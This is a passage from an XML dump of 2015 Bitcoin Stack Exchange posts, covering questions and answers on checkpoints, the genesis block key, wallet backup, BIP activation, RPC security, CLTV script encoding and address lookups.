were to create a blockchain from the genesis block longer than the current public one, would some clients accept this chain, causing a fork?&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-08-15T13:42:42.137" Title="Do all Bitcoin client enforce checkpoints?" Tags="|bitcoin-core|checkpoints|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39098" PostTypeId="2" ParentId="39095" CreationDate="2015-08-15T07:26:24.320" Score="0" Body="&lt;p&gt;If you want to detect a double spend, you need to listen to all transactions broadcasted to the network, and write some code to detect if the address that sent you Bitcoins also sends a transaction to another address (until 1+ confirmations).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your other question, Bitpay cannot guarantee the transactions not to be double spent. In an effort to promote usage of Bitcoin as a payment solution, they take on the risk of a potential double spend, and if one happens, they eat the balance (no risk to the merchant). This is a vanishingly small occurrence in practice, so any fees (or venture capital) paid to them more than cover that possibility.&lt;/p&gt;&#xA;" OwnerUserId="27899" LastActivityDate="2015-08-15T07:26:24.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39100" PostTypeId="2" ParentId="39097" CreationDate="2015-08-15T13:42:42.137" Score="4" Body="&lt;p&gt;The short answer is no, because you can run Bitcoin Core with -nocheckpoints, and different versions may have different checkpoints.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The long answer is that it doesn't matter. If checkpoints ever actually prevent a reorganization of a fully synchronized client, it means that the assumptions on which Bitcoin's security relies (collusion of a majority of hashpower to rewrite the blockchain is too uneconomical to ever be a problem) are fundamentally broken. Checkpoints are not a security feature for this reason, and are often mistaken for one.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2015-08-15T13:42:42.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39101" PostTypeId="1" AcceptedAnswerId="39103" CreationDate="2015-08-15T14:12:39.997" Score="0" ViewCount="6077" Body="&lt;p&gt;I am a beginner and just starting to explore the possibilities of Bitcoins. So I would be very grateful if somebody could help me with this question. &#xA;Is there a risk that my Bitcoins are lost if the PC with the bitcoins resp. with the Bitcoin wallet stored on it is stolen or has crashed? Thank you very much.  &lt;/p&gt;&#xA;" OwnerUserId="27946" LastActivityDate="2022-03-20T06:35:47.197" Title="What happens to Bitcoin wallet / Bitcoins if PC is stolen" Tags="|security|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39102" PostTypeId="1" AcceptedAnswerId="39104" CreationDate="2015-08-15T15:01:12.140" Score="6" ViewCount="5245" Body="&lt;p&gt;I'm trying to create and build a working fork of Bitcoin -- in order to understand how it works at the source code level. I see a lot of articles explaining how to create altcoins but they are not very helpful for the learning purpose as they skip a lot of details and tend to tell you what to do without explaining why. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding this question, I couldn't find any article/document even remotely mentioning anything about the public key used for generating the genesis block -- I believe this is an important things to know, at least because it's been used to generate the genesis block of Bitcoin. Looking at the source code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin 0.1.5 - main.cpp @1490:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;txNew.vout[0].scriptPubKey = CScript() &amp;lt;&amp;lt; CBigNum(&quot;0x5F1DF16B2B704C8A578D0BBAF74D385CDE12C11EE50455F3C438EF4C3FBCF649B6DE611FEAE06279A60939E028A8D65C10B73071A6F16719274855FEB0FD8A6704&quot;) &amp;lt;&amp;lt; OP_CHECKSIG;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Bitcoin 0.8.0 main.cpp @2715&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;txNew.vout[0].scriptPubKey = CScript() &amp;lt;&amp;lt; ParseHex(&quot;04678afdb0fe5548271967f1a67130b7105cd6a828e03909a67962e0ea1f61deb649f6bc3f4cef38c4f35504e51ec112de5c384df7ba0b8d578a4c702b6bf11d5f&quot;) &amp;lt;&amp;lt; OP_CHECKSIG;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;These two public keys are same. First one appeared in the very first version of Bitcoin -- as far as I can see in the Github repo. Second one is the latest usage before it being totally removed from the source code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;What is this public key? Is this [supposedly] Satoshi's personal public key or just a random key generated for the sake of generating the genesis block?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there any other application for this public key or it's only useful when generating the genesis block? e.g. signing transactions? verifying the integrity of the mined blocks?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There are different formats used for Public/Private key pairs. What is  the format used for this specific key? Is there any built-in API/utility inside the Bitcoin source that could be used for generating or testing the validity of the key?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What are the consequences of using a broken/invalid public key at this stage? Given the fact that the genesis block is unspendable.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="27830" LastActivityDate="2017-05-04T18:02:16.193" Title="What is the public key used to generate the Genesis block?" Tags="|public-key|genesis-block|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39103" PostTypeId="2" ParentId="39101" CreationDate="2015-08-15T15:18:11.817" Score="3" Body="&lt;p&gt;Accessing to (your) bitcoin requires a private key.&#xA;This is kind a long number password to access the bitcoin on the network called blockchain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All bitcoin are saved in this (online) network.&#xA;A private key looks like this:&#xA;&lt;code&gt;5Kb8kLf9zgWQnogidDA76MzPL6TsZZY36hWXMssSzNydYXYB9KF&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Important thing is you save your private key on different places in case you need it back again. One good practice is print it on a paper with QR code. This is called Cold Storage. This is your backup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't show this private key to anyone else and save a copy somewhere else than your home. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Act like a bank, because with bitcoin you are own bank.&#xA;When your PC is gone, you take the private key and setup a new wallet on a device. Amount of the bitcoin will be exactly the same as it was left last time, because it is saved on the blockchain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read more here&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Private_key&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Private_key&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="27935" LastActivityDate="2015-08-15T15:18:11.817" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="39104" PostTypeId="2" ParentId="39102" CreationDate="2015-08-15T16:00:02.147" Score="5" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Second one is the latest usage before it being totally removed from the source code.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It wasn't removed. It just got moved:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static CBlock CreateGenesisBlock(uint32_t nTime, uint32_t nNonce, uint32_t nBits, int32_t nVersion, const CAmount&amp;amp; genesisReward)&#xA;{&#xA;    const char* pszTimestamp = &quot;The Times 03/Jan/2009 Chancellor on brink of second bailout for banks&quot;;&#xA;    const CScript genesisOutputScript = CScript() &amp;lt;&amp;lt; ParseHex(&quot;04678afdb0fe5548271967f1a67130b7105cd6a828e03909a67962e0ea1f61deb649f6bc3f4cef38c4f35504e51ec112de5c384df7ba0b8d578a4c702b6bf11d5f&quot;) &amp;lt;&amp;lt; OP_CHECKSIG;&#xA;    return CreateGenesisBlock(pszTimestamp, genesisOutputScript, nTime, nNonce, nBits, nVersion, genesisReward);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/chainparams.cpp#L51&quot; rel=&quot;noreferrer&quot;&gt;Source.&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If you mean &quot;Is it the key that he used to sign announcements and emails,&quot; no. That's the PGP key 5EC948A1. If you mean, &quot;Is this the key that can broadcast alerts,&quot; no. That's defined here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/chainparams.cpp#L90&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/bitcoin/bitcoin/blob/master/src/chainparams.cpp#L90&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The key is thought to belong to Satoshi Nakamoto, though.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It's useless. You don't actually need the private component of the key to generate or verify the genesis block. And, like you say, you can't even spend the associated Bitcoins. For all we know, it might just be a random point on the ECDSA curve, with no associated private key. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This appears to be a normal uncompressed key. It starts with 0x04, followed by 64 bytes. The difference in how it was expressed between 0.1.5 and 0.8.0 is just a result of endianness. As for how to generate it, just call &lt;code&gt;getnewaddress&lt;/code&gt; followed by &lt;code&gt;validateaddress&lt;/code&gt; on the result.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Nothing.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-08-15T16:00:02.147" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="39108" PostTypeId="1" AcceptedAnswerId="39146" CreationDate="2015-08-15T22:18:08.647" Score="1" ViewCount="465" Body="&lt;p&gt;Based on the fact that the bitcoin &quot;production&quot; will stop around 21 million bitcoins, could this lead to a bitcoin flow freeze? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I mean is, if we produce all 21 million bitcoins, and keep using them nicely (without inflation issues because there will be no more making of them) wouldn't some pals need more bitcoins than others? And a lot of users wouldn't want to use them through stores, debit cards and/or gift cards? Then how will the currency recycle?&lt;/p&gt;&#xA;" OwnerUserId="27953" LastEditorUserId="5406" LastEditDate="2015-08-19T11:26:58.570" LastActivityDate="2017-07-17T13:53:40.140" Title="Will the decreasing Bitcoin production cause a liquidity crisis?" Tags="|money-supply|inflation|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="39109" PostTypeId="2" ParentId="39108" CreationDate="2015-08-15T23:20:49.057" Score="0" Body="&lt;p&gt;Bitcoin's reward rate isn't constant - it halves every 4 years, and eventually stops entirely in 2140.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/File:Controlled_supply-supply_over_block_height.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.bitcoin.it/wiki/File:Controlled_supply-supply_over_block_height.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SSd6J.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SSd6J.png&quot; alt=&quot;bitcoin supply from bitcoin wiki&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1226/the-end-of-mining&quot;&gt;The End of Mining&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2015-08-15T23:20:49.057" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="39112" PostTypeId="2" ParentId="38988" CreationDate="2015-08-16T16:08:50.410" Score="2" Body="&lt;p&gt;Yes, you can use your Bitcoin addresses to receive Counterparty tokens. Make sure you have the private keys to your addresses backed up. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Counterparty is a layer built on top of the Bitcoin protocol which basically allows you to embed data into the Bitcoin blockchain. This data can be used to represent tokens which will be recognised by the counterparty protocol as being owned by a particular Bitcoin address. You will need a small BTC balance at the holding address in order to send those tokens to a new address.&lt;/p&gt;&#xA;" OwnerUserId="27962" LastActivityDate="2015-08-16T16:08:50.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39113" PostTypeId="1" CreationDate="2015-08-16T18:23:40.830" Score="3" ViewCount="929" Body="&lt;p&gt;Are the BIP 100, BIP 101 and BIP 102 proposals being voted on now by miners? What is the procedure for a bitcoin miner to vote for a particular BIP and where can a tally of votes be viewed?&lt;/p&gt;&#xA;" OwnerUserId="27965" LastActivityDate="2015-09-09T22:50:32.553" Title="Are BIP 100, 101 and 102 being voted on now by Bitcoin miners?" Tags="|bip|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39114" PostTypeId="2" ParentId="28103" CreationDate="2015-08-16T18:34:01.930" Score="1" Body="&lt;p&gt;Not completely what you asked for, but if you have a significant amount of money in bitcoin it makes sense to store them on a hardware wallet like &lt;a href=&quot;https://www.bitcointrezor.com/&quot; rel=&quot;nofollow&quot;&gt;trezor&lt;/a&gt;, &lt;a href=&quot;https://www.ledgerwallet.com/&quot; rel=&quot;nofollow&quot;&gt;ledger&lt;/a&gt;, ... . These cost 100$ or less and are totally worth it for ease of use and peace of mind. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would sweep the paper wallets with mycelium and send the btc to your hardware wallet. This completely eliminates the threat of your computer being infected/hacked/etc. Since you have 10 paper wallets, I'm presuming the individual amounts might be ok to store on your phone for a few minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding storage, all addresses on the hardware wallet are generated starting from a 24 word seed. So you could write down 2 or 3 copies of this seed and distribute them in vaults/to trusted people. These 24 words can of course also be encrypted etc. If your hardware wallet breaks, all bitcoins can be retrieved by using these 24 words and a new compatible hardware/software wallet.&lt;/p&gt;&#xA;" OwnerUserId="11013" LastEditorUserId="11013" LastEditDate="2015-09-20T16:56:58.717" LastActivityDate="2015-09-20T16:56:58.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39115" PostTypeId="2" ParentId="39113" CreationDate="2015-08-16T20:22:04.390" Score="3" Body="&lt;p&gt;There isn't any blockchain voting for accepting a BIP: See &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5640/how-is-a-bip-accepted&quot;&gt;How is a BIP accepted?&lt;/a&gt; and &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0001.mediawiki&quot; rel=&quot;nofollow noreferrer&quot;&gt;BIP0001&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather, the BIP is accepted or rejected on the basis of consensus. Consensus is never defined, but even if you interpret it fairly broadly, I don't think any of the three will reach consensus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are frequently blockchain votes about activating the new rules, but that's less of a mechanism to measure acceptance and more of a way to only deploy the new changes once enough of the network runs them that the switchover won't be disruptive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a related issue, which is Bitcoin-XT, which grew out of several developer's frustrations with the process. That proposes to alter the blocksize according to BIP 101 once more than 75% of the blocks are created by Bitcoin-XT nodes. But that's not something within the BIP process.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2015-09-09T22:50:32.553" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="39117" PostTypeId="1" CreationDate="2015-08-17T00:04:00.420" Score="13" ViewCount="4973" Body="&lt;p&gt;The Wiki contains &lt;a href=&quot;https://en.bitcoin.it/wiki/Enabling_SSL_on_original_client_daemon&quot;&gt;a page&lt;/a&gt; that simply states:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;JSON-RPC over SSL is strongly discouraged&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a method for enabling JSON_RPC over SSL &lt;a href=&quot;https://bitcoinsecurityproject.org/BTCProtocol/JSONRPC/&quot;&gt;here&lt;/a&gt;. The post mentions nothing about JSON-RPC over SSL being strongly discouraged. What risks do I run by using it?&lt;/p&gt;&#xA;" OwnerUserId="10845" LastEditorUserId="10845" LastEditDate="2015-08-17T00:18:27.537" LastActivityDate="2019-04-26T13:04:31.230" Title="Why is JSON-RPC over SSL &quot;strongly discouraged&quot;?" Tags="|security|json-rpc|ssl|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="39118" PostTypeId="2" ParentId="39117" CreationDate="2015-08-17T03:10:03.683" Score="11" Body="&lt;p&gt;The RPC interface isn't designed to be used in any scenario which would require SSL, which would be access over the internet or other untrusted networks. It doesn't have the necessary denial of service protections or review to make it safe for use this way, and so letting potentially malicious clients connect to it would be incredibly unwise. If you need to talk to a remote &lt;code&gt;bitcoind&lt;/code&gt; instance you are better off tunneling with &lt;code&gt;SSH&lt;/code&gt; or &lt;code&gt;stunnel&lt;/code&gt; which will provide a secure, authenticated path without exposing the socket any further than localhost. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As of 2017, support for RPC SSL has been completely removed to support the continued move away from reliance on OpenSSL in the daemon (unfortunately BIP70 mandates its inclusion for the GUI client). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As of 2019, all reliance on OpenSSL has been successfully removed from &lt;code&gt;bitcoind&lt;/code&gt;. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2019-04-26T13:04:31.230" LastActivityDate="2019-04-26T13:04:31.230" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="39119" PostTypeId="1" AcceptedAnswerId="39120" CreationDate="2015-08-17T10:49:11.383" Score="3" ViewCount="346" Body="&lt;p&gt;BIP65 has several examples where OP_CHECKLOCKTIMEVERIFY interprets the time value underneath it in the stack, &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0065.mediawiki#Freezing_Funds&quot; rel=&quot;nofollow&quot;&gt;for example&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;expiry time&amp;gt; CHECKLOCKTIMEVERIFY DROP DUP HASH160 &amp;lt;pubKeyHash&amp;gt; EQUALVERIFY CHECKSIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How is the time value encoded in this script? It's a &lt;code&gt;CScriptNum&lt;/code&gt; object, but I'm unsure if that equates to little endian bytes&lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="5406" LastEditDate="2019-12-30T23:41:25.590" LastActivityDate="2019-12-30T23:41:25.590" Title="How is time encoded (BIP65) in scripts?" Tags="|script|checklocktimeverify|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39120" PostTypeId="2" ParentId="39119" CreationDate="2015-08-17T13:55:24.080" Score="5" Body="&lt;p&gt;From &lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot; rel=&quot;noreferrer&quot;&gt;the bitcoin wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The stacks hold byte vectors. When used as numbers, byte vectors are interpreted as little-endian variable-length integers with the most significant bit determining the sign of the integer. Thus 0x81 represents -1. 0x80 is another representation of zero (so called negative 0). Positive 0 is represented by a null-length vector. Byte vectors are interpreted as Booleans where False is represented by any representation of zero, and True is represented by any representation of non-zero.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What this doesn't say is how more than one byte is combined into an integer. For example, to represent the integer 278, the stack would have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x02 0x1601&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And to represent the integer -278:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x02 0x1681&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The most significant byte (0x01) was just XORed with (0x80) to change the sign to negative.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that we know how script integers are encoded, we just have to understand how they are interpreted. This is shown in the BIP65 code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// There are two types of nLockTime: lock-by-blockheight&#xA;// and lock-by-blocktime, distinguished by whether&#xA;// nLockTime &amp;lt; LOCKTIME_THRESHOLD.&#xA;//&#xA;// We want to compare apples to apples, so fail the script&#xA;// unless the type of nLockTime being tested is the same as&#xA;// the nLockTime in the transaction.&#xA;if (!(&#xA;      (txTo.nLockTime &amp;lt;  LOCKTIME_THRESHOLD &amp;amp;&amp;amp; nLockTime &amp;lt;  LOCKTIME_THRESHOLD) ||&#xA;      (txTo.nLockTime &amp;gt;= LOCKTIME_THRESHOLD &amp;amp;&amp;amp; nLockTime &amp;gt;= LOCKTIME_THRESHOLD)&#xA;     ))&#xA;    return false;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;LOCKTIME_THRESHOLD&lt;/code&gt; is the UTC time:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LOCKTIME_THRESHOLD = 500000000; // Tue Nov  5 00:53:20 1985 UTC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, basically, you can set the time that OP_CLTV will verify against in the scriptPubKey. If it is below &lt;code&gt;LOCKTIME_THRESHOLD&lt;/code&gt;, then it is compared based on block number of the block containing the transaction. If it is above &lt;code&gt;LOCKTIME_THRESHOLD&lt;/code&gt;, then it is compared based on block time of the block containing the transaction. Note that this relies on the consensus rule that transactions cannot be included into a block with a lock-time (&lt;code&gt;nLockTime&lt;/code&gt;) in the future.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-08-17T13:55:24.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39121" PostTypeId="1" AcceptedAnswerId="39129" CreationDate="2015-08-17T22:09:29.720" Score="2" ViewCount="523" Body="&lt;p&gt;I was wondering if I could I install a wallet on Windows Server 2008? If so which wallet?&lt;/p&gt;&#xA;" OwnerUserId="27976" LastActivityDate="2015-08-18T13:17:05.430" Title="Can I install a wallet on Windows Server 2008?" Tags="|wallet|server|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39123" PostTypeId="1" AcceptedAnswerId="39124" CreationDate="2015-08-18T02:42:24.023" Score="6" ViewCount="577" Body="&lt;p&gt;What is the use of hashing the public key to obtain the bitcoin address (except to compress it) rather than using the public key directly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why not deal with public keys directly?&lt;/p&gt;&#xA;" OwnerUserId="25114" LastActivityDate="2015-08-18T03:01:28.833" Title="What is the use of hashing the public key to obtain the bitcoin address?" Tags="|address|public-key|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39124" PostTypeId="2" ParentId="39123" CreationDate="2015-08-18T03:01:28.833" Score="4" Body="&lt;p&gt;Early renditions of the Bitcoin client did use raw public keys in this way for pay-to-IP-address transaction orders, it's still valid to spent an output to &lt;code&gt;&amp;lt;raw pubkey&amp;gt; OP_CHECKSIG&lt;/code&gt;, though miners might not be willing to include it in a block. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before an output owned by a fresh address is spent, the hidden public key points are unknown to anybody but the creator. If the situation arises that ECDSA is weakened there is only minimal exposure between signing a transaction and having it included in a block. To transition from a weakened ECDSA a new signature algorithm would be soft-forked into the consensus and outputs quickly shuffled over to using it instead. This bit of protection is effectively gained for free so it would be silly not to use it, though some wallets choose to re-use addresses multiple times which destroys the protection offered by this system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As pointed out addresses are also appreciably shorter at 20 bytes rather than 33 or 64 bytes, which makes a difference if you have the need to manually transcribe one.&lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-08-18T03:01:28.833" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="39125" PostTypeId="1" CreationDate="2015-08-18T06:57:10.683" Score="4" ViewCount="1448" Body="&lt;p&gt;I need to go through a large list (about 100 000) of bitcoin addresses, and, if they have a final balance, find that as well as the total sent and recieved. I am working in python, and I have looked through the various API's, but so far I have found the best solution to be getting the JSON data from &lt;a href=&quot;https://blockchain.info/&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;urllib.urlopen(&quot;https://blockchain.info/multiaddr?cors=true&amp;amp;active=&quot;+testStr)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where testStr is up to 23 addresses, separated by |&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This returns a page which I dump into a json and parse for the data I need. I am just wondering if there is any faster method to get this information, rather than multiple calls to blockchain.info?&#xA;thanks&lt;/p&gt;&#xA;" OwnerUserId="27982" LastActivityDate="2015-08-18T13:26:05.180" Title="Best method for getting bulk address information (total sent, received, and final balance)" Tags="|blockchain|address|python|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39126" PostTypeId="1" CreationDate="2015-08-18T09:02:40.820" Score="1" ViewCount="339" Body="&lt;p&gt;I wanted to back up the blockchain on my hard drive as it took around 50 GB on my laptop. I did so and deleted all the &lt;code&gt;blk000.dat&lt;/code&gt; and the &lt;code&gt;rev000.dat&lt;/code&gt; from (&lt;code&gt;~/Library/Application Support/Bitcoin/&lt;/code&gt;) which are saved on my hard drive. Apparently this was a stupid mistake as I cannot open Bitcoin QT anymore. I therefore re-transfered everything back to the same folder. But nothing happens, and Bitcoin Core does not open. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After looking around, many are mentioning a &lt;code&gt;bootstrap.dat&lt;/code&gt; file which correspond to the block chain. I cannot seem to find this file anywhere on my laptop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clues? thanks a lot!&lt;/p&gt;&#xA;" OwnerUserId="27983" LastEditorUserId="18227" LastEditDate="2015-08-18T21:38:15.057" LastActivityDate="2015-08-25T22:31:21.560" Title="Wanted to back up blockchain to save space, now I cannot open bitcoin QT?" Tags="|blockchain|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39127" PostTypeId="2" ParentId="39126" CreationDate="2015-08-18T13:12:55.747" Score="0" Body="&lt;p&gt;Forget about the bootstrap file. That's old and obsolete information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did you turn off bitcoin-qt every time before you copied or deleted files?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may need to just let bitcoin-qt re-download the whole blockchain. Make sure you backup your wallet (wallet.dat).&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2015-08-18T13:12:55.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39128" PostTypeId="2" ParentId="39126" CreationDate="2015-08-18T13:13:40.763" Score="1" Body="&lt;p&gt;Delete your &lt;code&gt;chainstate&lt;/code&gt; and &lt;code&gt;blocks&lt;/code&gt; folder and start Bitcoin-Qt again. It will then re-sync your blockchain.&lt;/p&gt;&#xA;" OwnerUserId="3697" LastActivityDate="2015-08-18T13:13:40.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39129" PostTypeId="2" ParentId="39121" CreationDate="2015-08-18T13:17:05.430" Score="1" Body="&lt;p&gt;You can install &quot;&lt;a href=&quot;https://bitcoin.org/bin/bitcoin-core-0.11.0/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin-Core&lt;/a&gt;&quot; (including Bitcoin-Qt) on a window server 2008. It requires initial syncing and verification of around 40GB of data. So it might take 1-2 days until you can use it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other option would be to install a SPV client like &quot;&lt;a href=&quot;https://electrum.org/#home&quot; rel=&quot;nofollow&quot;&gt;Electrum&lt;/a&gt;&quot; (Python based) or &quot;&lt;a href=&quot;https://multibit.org&quot; rel=&quot;nofollow&quot;&gt;Multibit HD&lt;/a&gt;&quot; (Java / bitcoinj based). They can be used immediately but they won't give you the same level of privacy.&lt;/p&gt;&#xA;" OwnerUserId="3697" LastActivityDate="2015-08-18T13:17:05.430" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
